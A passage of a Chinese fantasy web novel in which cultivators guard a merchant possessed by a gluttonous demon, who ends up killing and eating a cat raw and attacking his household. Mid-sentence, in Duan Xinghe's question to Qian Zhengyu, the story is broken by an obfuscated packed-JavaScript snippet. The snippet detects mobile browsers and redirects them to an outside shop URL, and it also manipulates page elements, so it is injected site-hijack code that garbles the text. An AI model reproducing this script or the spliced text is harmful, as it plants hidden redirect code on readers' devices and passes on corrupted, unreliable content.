段星河倒是挺乐观,学着李玉真的样子动了动脚腕子,道:“打不过就跑嘛,又不是没长腿。” 李玉真道:“那钱家人怎么办,跑得了和尚跑不了庙啊。” 段星河轻咳了一声,道:“咱们管不了那么多,只能尽力而为,人各有命嘛。” 李玉真搔了搔头,觉得也没有更好的办法,反正车到山前必有路,只能先试试再说了。 早晨吃过了饭,段星河出了钱家大宅,带着伏顺和赵大海去街上逛了逛。这附近都是万通商会的产业,店里的货物很多,价格也很公道。钱家还出钱给城里的孩子们盖了个学堂,学费全免,就算考不上秀才,至少也让穷人家的孩子能识字、会算账,以后也好谋生计。 前头有个观音庙,香火十分旺盛。段星河去粮店称了几斤糯米,打算驱邪的时候用。一人进来道:“掌柜的,新粮食送过来了,您查查。” 几辆大车停在店门前,上装着米面粮食。掌柜的点完了数,道:“好,入库吧。” 段星河对万通商会很感兴趣,加入应该有赚钱的机会。他在一旁等了片刻,见几个伙计抹着汗出来了。他出声道:“小哥,你们是钱家的人么?” 一个伙计道:“我们是他家的工人,有事?” 段星河道:“就是随便问问,我看这里生意挺好做的,打算在这里盘个店卖瓜子点心之类的,能赚么?” 那伙计笑了,道:“这城里的铺子大多数都是万通商会的,你要干也行,但人家进价就低,上税也低,你怕是干不过人家。除非你加入万通商会,不过入会的门槛高,做小本生意的人家也不要。” 段星河竖起了耳朵,道:“加入商会进货有优惠,还能少交税?” 那伙计道:“是啊,前些年陛下召了钱老爷子进宫,表彰他经商有道,给了他个优惠,凡是万通商会的人能少缴两个点的税。各个国家不一样,夷州那边更穷一点,鼓励商人过去,能减四个点呢。” 小打小闹的东西官府不管,但凡有珍贵的东西、或是大宗的货物,进城都要交税。马上就要离开大幽了,衣食住行都要花钱,段星河寻思着反正自己要在各国之间行走,正好当个行商。 另一个伙计见他眼睛转来转去的,提醒道:“小兄弟,夷州那边荒蛮,土匪也多,没点本事在那儿根本做不了买卖。你要是真有能降龙伏虎的本事,还不如给人当保镖挣钱呢。” 这些人日子过得不错,都十分热情,也很善良。段星河笑了一下,道:“多谢各位,我知道了。” 他往回走去,赵大海看出他动心了,道:“大师兄,你想加入万通商会啊?” 段星河道:“你不想?” 赵大海觉得麻烦,道:“也就低两个点,加入要费老大劲的吧。” 伏顺恨铁不成钢地说:“憨货,多少人挤破头都进不去,你还嫌麻烦。一百两银子省二两,一万两银子就能省二百两啦。知道你为什么这么穷吗,你看不上小钱,大钱还看不上你呢!” 赵大海觉得有点委屈,但见识不多又嘴笨,不知道怎么反驳他。 段星河觉得一点小事也没必要吵架,道:“看看情况吧,先把手头的活儿干完再说。” 一行人回了钱家大宅,在客房里歇着。段星河寻思着钱老爷饿了大半天了,这会儿应该开始闹腾了。他招了招手,几个脑袋凑到了一起。他低声道:“那妖怪挨了饿,这几天肯定要闹事。咱们排一下班,今天晚上我去盯着,明天伏顺和大海去蹲着,后天宋姑娘和李兄去蹲着,一发现有异动,马上发信号。” 他掏出一个银哨子,哔地一吹,声音十分清脆,夜里的穿透力应该挺强的。 李玉真不放心,道:“今天晚上我和你吧,也能有个照应。” 段星河道:“好,去休息一会儿,等会儿咱们就去。” 晚上亥时左右,院子里的灯火熄了大半,仆人们都歇下了。段星河摸着黑爬起来,去隔壁敲了敲门。李玉真悄悄地出来了,低声道:“等着你呢。” 段星河道:“睡好了吗?” 李玉真的精神十分饱满,道:“睡了三个时辰,盯一晚上没问题。” 段星河也睡得很好,这会儿目光炯炯的像两个灯笼似的,道:“好,咱们走吧。” 38.暴食 三 两人来到了钱老爷的院外,发现外面多了几个守卫,每个人身上都穿着牛皮甲,戴着大头盔,一副如临大敌的模样。段星河觉得有点夸张,道:“怎么了?” 带头的侍卫认得他们是钦天监的人,道:“老爷饿了一天,脾气不太好。少主怕我们受伤,就叫大家多穿点。” 段星河沉默了一下,觉得这不属于多穿点的范畴,何况现在是夏天呢。他道:“他是不是攻击人了?” 其他人不敢说,带头的那人迟疑了一下,小声道:“中午有个人来给老爷送饭,老爷嫌饭少,就扑过来咬了他胳膊一口。” 李玉真吓了一跳,道:“人怎么样了?” 侍卫道:“那人跑得快,胳膊破了点皮,就是吓着了,现在……现在正在休养。” 几人低声说着话,就听屋里传来了钱老爷的声音:“饿死我了——正宇,放我出去!” 屋门外加了两把锁,窗户外也拿木板钉上了,看来钱正宇这次是铁了心要把那个怪物饿出来了。他叮嘱众人不管父亲怎么喊,都不能理他。大家知道少主是为了老爷好,都听他的吩咐。 钱老爷的声音十分凄惨,喊道:“我要饿死了,你这个不孝子,我含辛茹苦把你养大,挣下这么大的家业给你,你连一口饱饭都不让你爹吃——” 其他侍卫站着不动,只当没听见。要不是段星河见过他胡吃海塞的样子,都要被他骗了。 钱老爷用力拍了几下门,哀声道:“我饿啊,你们这些没良心的兔崽子,放我出去!” 段星河低声道:“他白天吃了什么?” 侍卫道:“步大人让老爷少吃,少主就没让多送。早晨一碗豆浆,两根油条。中午一盘炒白菜,一个白面馒头。晚上一碗白粥,一个茶叶蛋。” 对于钱老爷这样习惯了大吃大喝的胖人来说,这些饭是少了点,但也能保证他饿不死了。李玉真揣着手道:“饿就少喊两声呗,越喊不越饿么?” 段星河道:“我们过去看看。” 侍卫紧张道:“千万别进屋,老爷现在危险的很,六亲不认的。” “放心吧,”段星河淡然道,“不进屋,就在走廊上待着。” 两人进了院子,来到了走廊上。钱老爷一直扒着窗户往外看,窗户纸已经被他捅破了,他一双小眼睛露了出来,放出贪婪的光。他脸上的肉都从窗棂子里挤出来了,激动道:“小兄弟,你们是来给我送饭的吗?” 段星河道:“钱老爷,我们是来给你作伴的。” 钱百富烦躁起来,道:“没有吃的?” 段星河无情道:“没有。” 钱百富怒道:“那我不要你们陪,走开、走开!” 他用力捶了几下门板,竭力发泄心中的失望。李玉真劝道:“钱大叔,别这样嘛。这个世界除了吃之外,还是有很多美好的事的,比如说……你看这天上的星星就很美嘛。我给你吟诗一首吧,床前明月光——” 段星河道:“你不是说星星好看么?” 李玉真道:“喔对,醉后不知天在水,满床清梦压星河。” 段星河头上冒出了问号,李玉真也觉得不太对劲,道:“啊不是,微微风簇浪,散作满河星。” 钱百富对这些风花雪月不感兴趣,他被关在屋里,看天费劲。他向前望去,院子里有个水塘,水面上荡漾着几点碎银般的星光。哗啦一声,一条鱼从水里跳出来,又钻到了荷叶下面。 一朵半开的荷花在水池子里轻轻摇曳,涟漪一层层荡开。钱老爷看着水池子,心里惦记着刚才的那条大鲤鱼,猛地咽了一下口水。他眼巴巴地望着外面,肥胖的下巴就像个硕大的囊袋,恨不能把所有看到的东西都吞进去。 段星河在走廊的栏杆上坐下了,道:“钱老先生,您歇着吧,我们不会打扰你的。” 钱百富扒着窗户道:“我睡不着,你们两个后生靠近一点,跟我聊聊天。” 他看他们的目光灼灼有神,一个劲儿地咽口水,仿佛要生吞活人。 段星河并不想被他当成烤骆驼吃了,半步也不靠近他,悠然道:“我们就在这里待着,您有事直接说就行了。” 钱百富骗不到他们,又恼火起来。他重重地捶了几下门板,道:“我知道了,你们是来监视我的是不是?我老钱叱咤风云大半辈子,没想到临老被你们这些小崽子欺负,气死我了,气死我了!” 李玉真在段星河身边坐下了,觉得钱老爷忒能闹了。他小声道:“他要喊到什么时候?” 段星河靠在廊柱上,淡定道:“随他高兴,咱们是来守那妖物的。大妖不出来,咱们没必要跟他多说。” 李玉真觉得也是,于是也放松了身体,靠在廊柱的另一边。 钱老爷嚷了一阵子,发现没人理他,悻悻地回了里屋。段星河道:“他去睡觉了。” 李玉真坐的有点迷糊了,道:“睡觉好啊,睡着了就不饿了……他安静,别人也能歇会儿。” 他打着瞌睡,段星河也没叫他,这才饿头一天,那大妖应该不至于这就坐不住了。 院子里静悄悄的,段星河听着草丛里的虫鸣,自己也有点困了。他头一点一点的,忽然听见院墙边传来咕咚一声,好像有什么东西落了下来。 他睁开眼,就见一个黑影猫着腰从墙边过来,手里提着个大竹篮子,是个十四五岁的少年。那人没注意到段星河坐在走廊里,蹑手蹑脚地绕到了屋后去。段星河心头一跳,来不及叫李玉真,悄悄跟了过去。 那少年拿匕首撬开一根封窗户的木条,打开了窗户,低声道:“爹,我来给你送饭啦——” 钱百富正饿得翻来覆去的睡不着,听见这一声如闻天籁。他连忙扑到窗前,道:“好儿子,你来了,还是你心疼爹!” 少年不敢多说,赶紧把竹篮子塞进去,低声道:“吃完了把篮子藏在床底下,我明天夜里还来。” 篮子里装着烧鸡、烤鸭、红烧肉、粉蒸排骨,还有两盘青菜和一壶百合绿豆汤给他解腻。钱百富迫不及待地抓起一块红烧肉塞进嘴里,大口吞咽起来,根本听不见他说什么了。 少年关上了窗户,从外头把木条别了回去。他以为一切做得天衣无缝,松了口气。他转过屋角来,就见段星河从廊柱后面走出来,拦住了他的去路。 少年顿时紧张起来,后退了一步道:“你是谁,你想干什么?” 段星河淡淡道:“我是钦天监的段司晨,受钱少主委托来帮钱老爷的。你是谁?” 少年抿着嘴不说话,忽然转头就跑。段星河一个箭步追过去,那少年扒住了墙头,脚底蹬了几下,想要翻墙逃跑。段星河轻身一跃,已经落到了墙外面。 那少年骑在墙上,一时不知道该跳出来还是跳回去,干脆趴在了墙上。段星河有点莫名其妙,道:“怎么了?” 少年的声音直哆嗦,小声道:“我……我腿软了,你别逼我。” 段星河有些无可奈何,伸手道:“不行你还爬墙,跳下来,我接着你。” 那少年常日读书,锻炼的少,翻了一道墙体力就跟不上了。他一咬牙跳了下去,段星河把他接住了。两人倒退了两步,少年腿一软坐在了地上,抬头道:“你……你追我干什么?” 段星河道:“我是来保护钱老爷的,你不心虚跑什么?” 少年平生头一次干这么偷偷摸摸的事,也有些委屈。李玉真听见了动静,跟过来道:“出什么事了?” 段星河故意吓唬他道:“这小子给钱老爷送饭,让我逮住了,问什么也不老实说。要不就把他交给钱少主吧。” 那少年顿时慌了,道:“别,别告诉大哥,我……我说,我叫钱远志,钱百富是我爹。” 两人互相看了一眼,有些意外。远处的灯光照着这边,少年的模样跟钱正宇有五分相似,难怪他半夜跑来送饭,原来是心疼老父亲。 李玉真恍然大悟:“喔,你就是钱家的小少爷啊,听说你书读的不错。” 钱远志表明了身份,人也松弛下来,道:“还行,都是大家谬赞。你们干嘛不让我爹吃饭?” 段星河把他拉了起来,道:“我们也不是故意饿他,只是要把他身上的妖物逼出来。你这样偷偷给他送饭,不是给他帮忙,反而让他受更多罪。” 钱远志知道他说的是真的,但父亲喊了一天饿,他白天都听见了,心里十分难受。他道:“我爹老这么喊,我睡不着觉。他以前吃那么多,现在每顿就吃一个馒头,我怕他受不了。” 段星河可以理解他的心情,道:“就这几天的事,忍忍就过去了。” 钱远志想了一下,道:“我听说过你们,你们帮张家把井里的女鬼赶走了,是不是?” “是啊,”李玉真道,“就是我们兄弟几个联手,一起驱的鬼。” 钱远志心中生出了希望,道:“那你们应该能帮我爹的。你们不让,那我就不来送饭了。” 段星河发现他还挺通情达理的,道:“多谢。” “应该的,”钱远志道,“你们还需要我做什么,我一定配合。” 段星河也没什么需要他一个小孩儿帮忙的,道:“随便聊聊吧。” 钱远志往前走了两步,腿有点瘸,应该是跳下来的时候崴到了。他扶着腿坐在一块大石头上,段星河在一旁站着,李玉真在另一外边坐下了。 夜风轻轻吹过,带来一丝凉意。段星河道:“你和你哥都挺关心你爹的。” 不少家里父子兄弟成仇的,跟家里贫富也没有太大关系。当爹的自己能力强,性格稳定,家里才有向心力。钱家兄弟这么亲近父亲,可见钱老爷子以前就很关心子女。 钱远志道:“那可不,我爹是个很好的人。他这一辈子做了很多善事,没得罪过人,就是经商有些对手。前几年大灾的时候,我爹还和纵横派一起捐了不少粮食,救了许多百姓。” 段星河记得于百川提过这件事,喔了一声。钱远志一提起他爹就十分骄傲,道:“他在城里盖了学堂,免费教孩子读书识字。还资助善婴堂,养育了不少孤儿。大家都很感激他,这宅子里有三成仆役都是无父无母的人,靠他捐钱养大的。” 李玉真肃然起敬,觉得钱老爷是个乐善好施的好人。段星河道:“那这些人应该对你们很忠心了。” 钱远志道:“是啊,不过我爹说大家都是一样的人,千万不能因为帮助了他们就挟恩图报。他们愿意在钱家干活,就给他们一份差事,不愿意的也由得他们自谋生路。” 段星河道:“令尊种了这么多善因,应该得善果才是,为何却被邪物缠上了?” 钱远志有些动容,仿佛被戳中了心事。他不想因为隐瞒耽误了给父亲治病,深吸了一口气道:“我爹……也做过一些不好的事。以前丰年粮食生产过剩,积压了不少农产,我爹就让人把牛奶、粮食弄坏了倒掉。当时有佃户破产,家里有人要饿死了,我爹也没施舍粮食。有不少人骂他狠心、为富不仁,他也没理会。” 他眼里笼着一层阴霾,想起来还有负罪感,那么多白花花的牛奶都倒到水沟里去了,让人看一眼都觉得造孽,更何况还有人因为吃不上饭饿死。 钱远志道:“我娘那时候还在,因为这件事跟我爹大吵了一架。我爹说她不懂做生意,若是不把这些东西毁了,我们家的买卖就完了。我娘不听,只说他糟蹋粮食,枉顾人命,早晚要遭报应。” 段星河道:“后来呢?” 钱远志抱着膝盖道:“后来转过年头,生意渐渐复苏了,大家就把这件事抛到脑后了。我爹不是坏人,但也不完全是好人,只是个商人而已。” 段星河明白他的意思,人能按本分活着已经很不容易了,不能要求每个人都做圣人。钱远志道:“不过我爹还是因为这件事不安,去庙里拜了好几次菩萨。半年前他从外面回来,脸色很难看,像见了鬼一样。大哥问他怎么了,我爹说在路上看到了个奇怪的黑影,像一座小山一样,一直跟在他身后。他十分害怕,让人抬着轿子赶紧回来了。从那之后他就开始暴饮暴食,好像被什么附体了似的。” 段星河的心思一动,那些大妖也会去寻找跟自己能量相似的人附体。它既然选择了钱老爷,一是因为他吃得起,看来也是因为他身上有浪费粮食的冤孽在。 他道:“还有别的吗?” 钱远志眼睛动了动,道:“没有了。” 段星河觉得他心里还藏着些事,但一时半会儿又不肯说,今天能知道这些已经很不容易了。他长舒了一口气,道:“多谢,你脚还疼吗。” 钱远志站起来走了几步,已经没事了。月亮升到了中天,夜已经深了,他明天还要念书。 “我先回去了,”他把希望寄托在了他们身上,郑重道,“我知道你们本事高强,一定要救我爹啊!” 段星河道:“放心,我们会尽力的。” 钱老爷偷摸吃了一篮子东西,总算消停了,后半夜也没闹幺蛾子。段星河回去睡到了中午,屋里一个人也没有,都出去闲逛了。他洗漱完了出来,见墨墨趴在走廊上,正在跟小对眼玩一个松果球。 段星河道:“吃饭了么?” 墨墨蹭了蹭他手心,看来是不饿。段星河道:“你们玩吧,我去弄点吃的。” 他去了大厨房,用食盒装了两份饭菜,打算去丹房看看。几天没见步云邪了,不知道他最近怎么样了。他从厨房出来,就见一个人拿了十来个食盒,都放在了一辆小推车上。段星河觉得有点奇怪,不知道哪里要开这么多饭。 一个侍卫等在外面,低声道:“那些人一天到晚喊饿,跟饿死鬼投胎似的。老爷一个人这样就算了,你说这种事怎么还传染呢?” 拿饭的那人很谨慎,道:“别说了,少主不让提。” 段星河的耳朵竖了起来,感觉有点不对劲。有些事当面是问不出来的,得亲自去看看才能知道真相。他等那两人走远了,这才跟了过去。小车的轮子上沾了点泥巴,一路留下了痕迹。大白天段星河不好跟的太近了,跟着车辙走了一阵子,来到了宅子深处的一间小院里。他躲在月洞门外看了片刻,就见那两个人停下了车,把饭菜拿出来,向屋里走去。 屋外有两个侍卫把守着,也都穿着牛皮甲,防护的十分严实。里头传来了一阵嘶喊声,又有些捶打的声音,咚咚咚咚,好像是从地下传来的。继而又有些叮叮当当的声音传出来,里面似乎有个地牢。 段星河皱起了眉头,钱家看起来一团和气,怎么会暗中关着人? 他想过去看一眼,刚迈了一步,忽听身后有人道:“段兄,你怎么在这里?” 段星河的心猛地一跳,却见是钱正宇来了。他不慌不忙道:“是钱少主啊,我想去丹房找阿云,这地方太大了,我好像迷路了。” 钱正宇的神色里带了些怀疑,丹房离这边简直有十万八千里,他能串到这里来也太离谱了。然而段星河环顾了一圈,觉得到处都一个样,好像真的是个路痴。 钱正宇道:“丹房不在这里,我让人带段兄过去吧。” 他扬声叫了一名小厮过来,吩咐道:“带客人去丹房。” 段星河道了声多谢,走出去几步,又想到什么似的停了下来,道:“钱少主,这里头吵吵嚷嚷的这么热闹,住的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591341|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么人?” 他方才还是一副迷糊的模样,忽然这么单刀直入地问话,让钱正宇的脸色顿时变了。 这人精明得很,对付自己想进则进,想退则退,根本就游刃有余。钱正宇接手家业数年,见识过的人也不少了,忽然意识到段星河这个人很不好对付。 段星河面无表情,这样看着人的时候带着一股强大的气场。他本来就是个强势的人,迫使对方回答自己的时候,施放的压力让人很不舒服。 钱正宇的目光变化了几回,虽然不喜欢段星河这种态度,但对方是朝廷的人,还是不得罪他们为妙。 钱正宇道:“都是下人住的地方,难免粗野吵闹,贵客还是去前面吧。” 两人对视了片刻,仿佛在无声地窥探对方的心里在想什么。钱正宇抿着嘴,态度坚决,不会再透露任何多余的消息。段星河明白了他的意思,微微一笑道:“好。” 小厮带着段星河去了丹房,步云邪正站在门前,悠然眺望着远处的天空。他穿着一身白色的长袍,头发用却邪扎了个马尾,跟从前在青岩山中时一样。 步云邪没想到他会来,露出了笑容,道:“你怎么来了?” 段星河道:“来看看你,丹药炼的怎么样了?” 步云邪道:“在炉子里呢,明天应该就能成了。” 他身上散发着淡淡的药香,闻到这个味道,就让人有种熟悉的安心感。进了屋,段星河把饭拿出来,一碟白菜炖豆腐,一碟子白斩鸡,还有一份红烧鱼,一碗紫菜汤,两碗米饭。 两人相对坐下了,步云邪端着碗没什么胃口。段星河感觉他没打算吃饭,道:“我不来你就饿着了?” 步云邪道:“刚吃了块西瓜,不饿。” 段星河夹了一筷子白斩鸡给他,道:“一天到晚不好好吃饭,都瘦成什么样了。” 步云邪吃了一口,皱起了眉头道:“我的天,为什么要加麻酱,这味儿太腻了吧?” 盘子里的鸡肉上面浇着红油、麻酱和香菜,味道确实太冲了。应该是钱老爷喜欢吃味重的东西,厨房给他做饭习惯了。段星河把鱼推到他面前,道:“吃这个,鸡肉给我吧。” 他吃了一块肉,被糊了一嘴麻酱。步云邪看着他难以下咽的表情直笑,道:“喝点水压压。” 吃了饭,步云邪烧了壶茶,跟他坐着聊天。段星河把昨天晚上发生的事跟他说了,步云邪若有所思,道:“他连人都咬?” 段星河道:“有人被钱老爷咬伤了,门口的侍卫都穿上盔甲了。不过他神志还挺清醒,他小儿子去送饭的时候,没被他攻击。” 步云邪有点担心,道:“那你们要不要也穿个甲,饿了这几天,他该急眼了。” 段星河一副游刃有余的态度,往椅背上一靠道:“那倒不至于,他那么胖,逮不住我。” 步云邪想起了钱老爷笨重的模样,忍不住笑了。段星河寻思着钱正宇的态度,总觉得那院子有些蹊跷。他走的时候记住了那间院子的位置,打算有机会再去看看。 步云邪见他出神,道:“想什么呢?” 段星河道:“今天晚上伏顺和赵大海值班,应该不会有问题吧?” 步云邪道:“你不是给了他俩哨子么,有什么好不放心的。” 段星河觉得也是,放松下来道:“那我在这儿歇吧,耽误你炼丹么?” 步云邪道:“没事,隔间有地儿,你去那边睡。” 夜幕深沉,伏顺和赵大海坐在走廊的栏杆上,守着钱老爷的屋门。 钱百富透过窗户往外看,不满道:“你们怎么每天都来?” 伏顺道:“我们是来保护您的,不用在意我们,您睡您的。” 钱百富还等着小儿子来给自己送饭,生怕被他们撞见了,道:“我不用你们保护,快走、快走!” 伏顺笑了,道:“那可不行,受人之托忠人之事,我们答应了钱少主来帮忙的,要不你跟他说去吧。” 钱百富十分恼怒,转身回了里屋。池塘里传来了一阵阵蛙鸣,夜静悄悄的。伏顺叼着哨子,轻轻地吹了一声。赵大海靠着柱子正在打瞌睡,被那一声吓醒了,东张西望道:“怎么了,怎么了?” 伏顺晃荡着腿,道:“没事,我就是忽然想起来,咱们都不在,瓜皮怎么办?” 赵大海道:“宋姑娘在嘛,有她看着没事的。” 伏顺喔了一声,赵大海闭上了眼,继续打瞌睡。伏顺实在百无聊赖,哔地又吹了一声。赵大海睁眼道:“又怎么了?” 伏顺道:“小对眼呢?” 赵大海道:“小对眼跟他们在一起啊。” 他闭上了眼,忽然又睁开了,就见伏顺的腮帮子鼓了起来,果然又要吹哨。 赵大海逮住了他现行,道:“你没事别老吹行不行,狼来了听过没有?” 伏顺把哨子放了下来,道:“好吧,你睡前半夜,我睡后半夜。” 两人在走廊上坐着,一会儿就都睡着了。钱百富在屋里等了许久,也没见小儿子来给他送饭。他意识到小儿子也被他们哄住了,十分失望,低头摸了摸自己一层层肥肉堆起来的肚子,喃喃道:“好饿啊……” 他白天就吃了几个馒头和炒白菜,嘴里淡的一点滋味也没有。他自从得了贪食症到现在有半年了,还是头一次这么饿。他躺在床上,身躯像一座小山一样,自我安慰道:“睡吧,睡着了就不饿了。” 屋里静静的,他躺了良久,一点困意也没有。他肚子里空空的,好像有一头饥饿的野兽在咆哮,要吃掉一切能吃的东西。 他睁开了眼,觉得自己不能在这里坐以待毙,必须得找点能填肚子的东西。他找到了昨天小儿子撬开的那扇窗户,吱呀一声打开了。他搬了个凳子,踩着想爬出去。凳子在他脚下摇摇欲坠,发出了要散架的声音。钱百富顾不上别的了,费劲地把脑袋探了出去。 “加把劲儿,老钱……大风大浪都过来了,咱们不能饿死在这里……” 他一边自言自语,一边把上半身往外挤去,肥胖的肚子卡在了窗户里。他慢慢地把肚皮从窗户里抠出来,却发现身体被越卡越紧,动弹不得了。他感到一阵呼吸困难,皮肤都被勒红了,手上也磨破了皮。 他觉得有些不妙,看来自己是挤不出去了,再勉强的话说不定会卡死在这里。他低低骂了一声,慢慢地把身体挪回来。他憋出了一头汗,费了半天劲儿,终于又缩回了屋里。 他瘫坐在地上,一个劲儿地喘气,白折腾了半天,还比刚才更饿了。 钱百富看着屋里的家具,眼里冒着饿火。他像中邪一样慢慢地爬起来,试着咬了一口桌子。木头坚硬而没有味道,不是他想要的。他吐出了一口木屑,揉了揉腮帮子,骂道:“一帮混蛋,就知道关我!” 这时院子里传来一声猫叫:“喵——” 那声音轻轻的,软软的,仿佛一只小手在他的心上挠了一下。钱百富静了片刻,忽然振奋起来。 他趴在窗边,就见墙头蹲着一只棕色的狸花猫。那猫是厨房养来抓耗子的,平时吃的很好,长得圆圆胖胖的,一点也不怕人。 钱百富直勾勾地盯着它,吞了一下口水,呼吸都颤抖起来。他小声道:“咪咪,过来。” 狸花猫歪着头看他,钱百富努力做出一副和善的模样,招手道:“咪咪,我这里有好吃的,快过来!” 狸花猫跳下了墙头,一跃跳到了窗台上。钱百富小心翼翼地摸了它两下,突然一下子薅住了它,把猫拖进了屋里。 窗户啪地落了下来,屋里传来了凄厉的猫叫,嗷的一声打破了夜的寂静。 39.暴食 四 “嗷——” 伏顺睡梦中听见了一声猫叫,一个激灵醒了过来,道:“是不是有动静?” 赵大海揉着眼道:“有吗?” 伏顺寻思着刚才的声音,确定是猫,而且是那种被踩了尾巴之类的惨叫。他陡然打了个激灵,道:“该不会是小对眼吧?” 赵大海想了想,感觉好像是听见一声,但那声音十分高亢。小对眼是个老鸦嗓子,平时叫声呜呜哇哇的,应该不是它。伏顺站起来,悄然走到钱老爷的屋门前,感觉空气里弥漫着一股腥气。 外头的侍卫听见声音也过来了,低声道:“怎么了?” 伏顺道:“不知道啊。” 他敲了敲门板,道:“钱老爷,钱老爷你没事吧。” 屋里静悄悄的,连他的鼾声都没有。伏顺觉得不对劲,对侍卫道:“开门看看。” 侍卫连忙掏出钥匙,稀里哗啦地开锁。屋门吱呀一声开了,就见里头黑黢黢的,伏顺往里走了一步,感觉脚下湿湿的,滑滑的。他弯腰抹了一下,就着月光仔细一看,一道鲜红的血顺着手指淌了下去。 伏顺大吃一惊,四下环顾,到处都没有钱老爷的身影。赵大海也慌了,道:“我去叫大师兄。” 伏顺已经衔起了哨子,哔哔地吹了起来。清脆的声音回荡在宅子上空,很快就传到了丹房这边。 段星河睁开了眼,竖着耳朵听了片刻,发现真的有哨声,还是从钱老爷那边传过来的。他怕夜里出事,和衣睡的,此时一个翻身下了地,抓起幽冥剑就往外跑。 步云邪端着灯从里屋出来,道:“有情况?” 段星河道:“我去看看。你看好丹药,有事我再让人来找你。” 段星河跑到小院跟前,扒开人群挤了进去。伏顺激动道:“大师兄,你可来了!” 段星河道:“什么情况?” 伏顺道:“刚才我听见里头嗷的一声叫,打开门一看地上好多血。大家不敢妄动,守在这里,还没人上去呢。” 有人拿了灯笼过来,照亮了屋里的地板。地上有一大滩血,一道血迹顺着楼梯上了二楼,阴森森的十分吓人。 段星河一手按剑,迈步上了楼梯,赵大海跟了上去。伏顺有点害怕,道:“我在下面接应你们。” 血滴滴答答地顺着台阶淌下来,空气里弥漫着血腥味。段星河上了二楼,就见一座肉山坐在地上,手里不知道拿着什么,正在用力地撕咬。 那东西软软地耷拉着脑袋,月光照下来,段星河看清楚了,是个猫头。 它的内脏已经被掏空了,身上的皮毛也被撕了下来,肉被钱老爷生吃了,血淌了一地。 他专注地吃着生肉,身上和脸上都是血,就像个恶魔。赵大海打了个寒颤,哑声道:“他疯了么?” 段星河低声道:“钱老爷,你在干什么?” 钱百富缓缓转过头,一双小眼睛注视着他们,给人的感觉很不自在。 他喉咙里发出低低的声音:“我饿……我好饿啊……” 段星河往后退了一步,钱老爷双眼通红,忽然怒吼道:“都是你……都是你们,不让我吃东西,我吃了你!” 他忽然暴起,冲那两人冲了过来。段星河到底是要靠他儿子开工钱的,不想伤害他,闪身一让,后背贴着墙壁躲开了。钱百富转过身来,张嘴要咬段星河。赵大海连忙抓住了钱百富的肩膀,扯着他拼命往后拽。 “有话好好说,别咬人啊。” 钱百富奋力挣扎,咆哮道:“放开我!让我吃——” 赵大海竭力道:“那是人,可不兴吃啊!” 段星河一脚踢开了身边的窗户,从二楼跳了下去。赵大海独自面对张牙舞爪的钱老爷,顿时感觉十分无助,喊道:“啊,别扔下我啊!” 段星河抬头道:“跳下来。” 赵大海往下看了一眼,有点眼晕。钱百富张开大嘴,想要啃他一口。赵大海抓起一个圆枕头塞到他怀里,拔腿就往楼梯下跑。钱百富啃了枕头一口,咬了一嘴棉花,恼怒地把枕头扔开了。 众人就见赵大海从楼上跑了下来,踩着血一路打滑,还跑得飞快。伏顺过来接他,道:“怎么了?” 赵大海拉着他往外跑,慌张道:“快快快跑,他来了!” 他话音未落,就见一座庞大的肉山从楼上奔了下来,哐、哐、哐、哐、哐。钱百富的身躯巨大,跑起来整座楼都跟着他的肉颤动,每一脚好像都踩在周围人的心脏上似的。 一名侍卫反应迟缓了些,眼看着一个巨大的阴影笼罩了自己,腿直打软,竟然跑不了。段星河一个箭步冲过去,把他从屋里拽了出来,随即吼道:“关门!” 一群人连忙推上了门,任凭里头咆哮怒吼,就是不开。 那侍卫吓得面如土色,道:“这是什么鬼。” 伏顺后背抵在门板上,被里头顶的直哆嗦,道:“没大没小的……这是你家老爷啊。” 七八个大小伙子顶在门上,还压不住。钱老爷暴怒起来,已经不再是他自己了。他往后挪了几步,猛地向前一撞,众人就觉得如同泰山压顶一般。 钱老爷又往前一撞,这回哗啦一声,门板被撞的稀碎。众人被撞得摔了一地,钱百富推开破碎的门板,缓缓地从屋里走出来。 他像一座巨大的肉山,给人极强的压迫感。众人都十分害怕,手里攥着刀剑,却谁也不敢拔出来,被他逼得一步步往后退去。 这时候就见身后涌来一片火光,有人喊道:“少主来了!” 众人心中一喜,钱老爷一向爱儿子,说不定钱少主能让他恢复神智。钱正宇带着一队侍卫赶了过来,身边还跟着李玉真和宋胡缨。段星河心中一喜,兄弟们来了就好办了。 李玉真道:“怎么回事?” 段星河低声道:“饿得闹妖,等会儿找个机会拘住他。” 李玉真心领神会,道:“明白。” 钱百富就像一头饥饿的野兽,恶狠狠地怒视着周围的人,恨不能把他们都吃了。钱正宇道:“爹,你这是干什么?” 钱百富道:“你为什么老关着我?” 钱正宇道:“爹,我这么做也是为了你好,再这么吃下去,你身体受不了的。” 钱百富咆哮道:“我就要吃,给我拿饭来,听见了没有!” 他丧失理智的样子就像个魔鬼。钱正宇觉得他十分陌生,摇头道:“爹,你别这样,你以前不是这样的。” 钱百富根本听不进去,恶狠狠道:“你这个不孝子,老子就不该把家业传给你,叫远志来,我把家给他管,以后没你的事了!” 大家知道老爷说的是气话,也不敢应声。钱百富挥着肥胖的胳膊,嚷嚷道:“叫宗族里的人来,我要开会,让人看看你是怎么对你爹的!” 他这么乱发脾气一点也没有大家长的模样,反而像个任性的小孩。钱正宇往前走了一步,哀求道:“爹,你给家里留点体面吧。二妹刚嫁了人,这些事要是让婆家知道了,人家会怎么看她?” 钱百富怒吼道:“我不管,我要吃饭,让我吃饭!” 那边闹哄哄的,李玉真悄然念诵咒文,手中凝聚了两团灵光。他趁钱百富不注意,将一道符文拍了出去。 众人就见一道碧蓝色的灵光嗖地绕着钱老爷飞了一圈,就像绳索一样,把他捆了起来。钱百富大吃一惊,挣扎道:“干什么,放开我,放开我!” 那道灵符只限制住了他的行动,没有伤害到他的身体。然而他体内的妖物还是感到了威胁,奋力挣扎起来。灵符上出现了一列列竖着飘浮的咒文,越收越紧,勒进了钱老爷的肉里。他的肥肉鼓了出来,身体动弹不得。 钱老爷瘫在地上,大怒道:“你这个不孝子,找了这些人来对付你爹!你这个天打雷劈的东西,早晚要遭报应!” 